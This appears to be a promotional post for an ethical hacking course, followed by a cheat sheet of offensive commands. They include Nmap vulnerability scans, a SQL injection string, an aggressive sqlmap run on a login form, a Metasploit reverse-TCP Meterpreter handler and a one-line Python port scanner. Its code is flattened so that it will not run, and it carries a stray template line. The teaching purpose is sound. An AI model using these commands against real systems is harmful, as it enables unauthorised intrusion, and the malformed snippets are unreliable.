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Elevate your cybersecurity career with this comprehensive ethical hacking course covering foundational to advanced topics, including vulnerability assessment, OSINT, Linux basics, network security, web application hacking, and programming for ethical hackers.
🔗 Course Link: https://lnkd.in/dBzwn3Pc
You Should Know:
1. Setting Up Your Ethical Hacking Lab
- Install Kali Linux (the go-to OS for penetration testing):
wget https://kali.download/kali-images/current/kali-linux-2024.1-installer-amd64.iso
- Use VirtualBox or VMware for safe practice:
sudo apt update && sudo apt install virtualbox -y
2. Essential Linux Commands for Ethical Hacking
- Check system processes:
ps aux | grep "suspicious_process"
- Modify file permissions (critical for privilege escalation):
chmod 777 vulnerable_file.sh Risky, used for demo only
- Search for SUID binaries (common privilege escalation vector):
find / -perm -4000 2>/dev/null
3. Network Scanning with Nmap
- Basic host discovery:
nmap -sn 192.168.1.0/24
- Aggressive OS and service detection:
nmap -A -T4 target_ip
- Detect vulnerabilities:
nmap --script vuln target_ip
4. Web Application Hacking (SQL Injection Demo)
- Test for SQLi vulnerabilities manually:
' OR '1'='1' --
- Use sqlmap for automated testing:
sqlmap -u "http://example.com/login.php" --data="username=admin&password=pass" --risk=3 --level=5
5. Metasploit Framework for Exploitation
- Launch Metasploit console:
msfconsole
- Exploit a vulnerable service (example):
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST your_ip set LPORT 4444 exploit
6. Python for Ethical Hacking
- Simple TCP port scanner:
import socket target = "example.com" for port in range(1, 1000): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) print(f"Port {port} is open") except: pass
What Undercode Say:
Mastering ethical hacking requires hands-on practice with real-world tools. Start with Kali Linux, Nmap, and Metasploit, then move to scripting (Python, Bash). Always operate in a legal lab environment. Key takeaways:
– Linux is essential (chmod
, find
, grep
).
– Networking knowledge (nmap
, tcpdump
) is a must.
– Automation (Python, sqlmap) speeds up testing.
– Stay updated—new vulnerabilities emerge daily.
Expected Output:
A structured, actionable guide for aspiring ethical hackers with direct commands, scripts, and tool usage.
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Reported By: Ouardi Mohamed – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅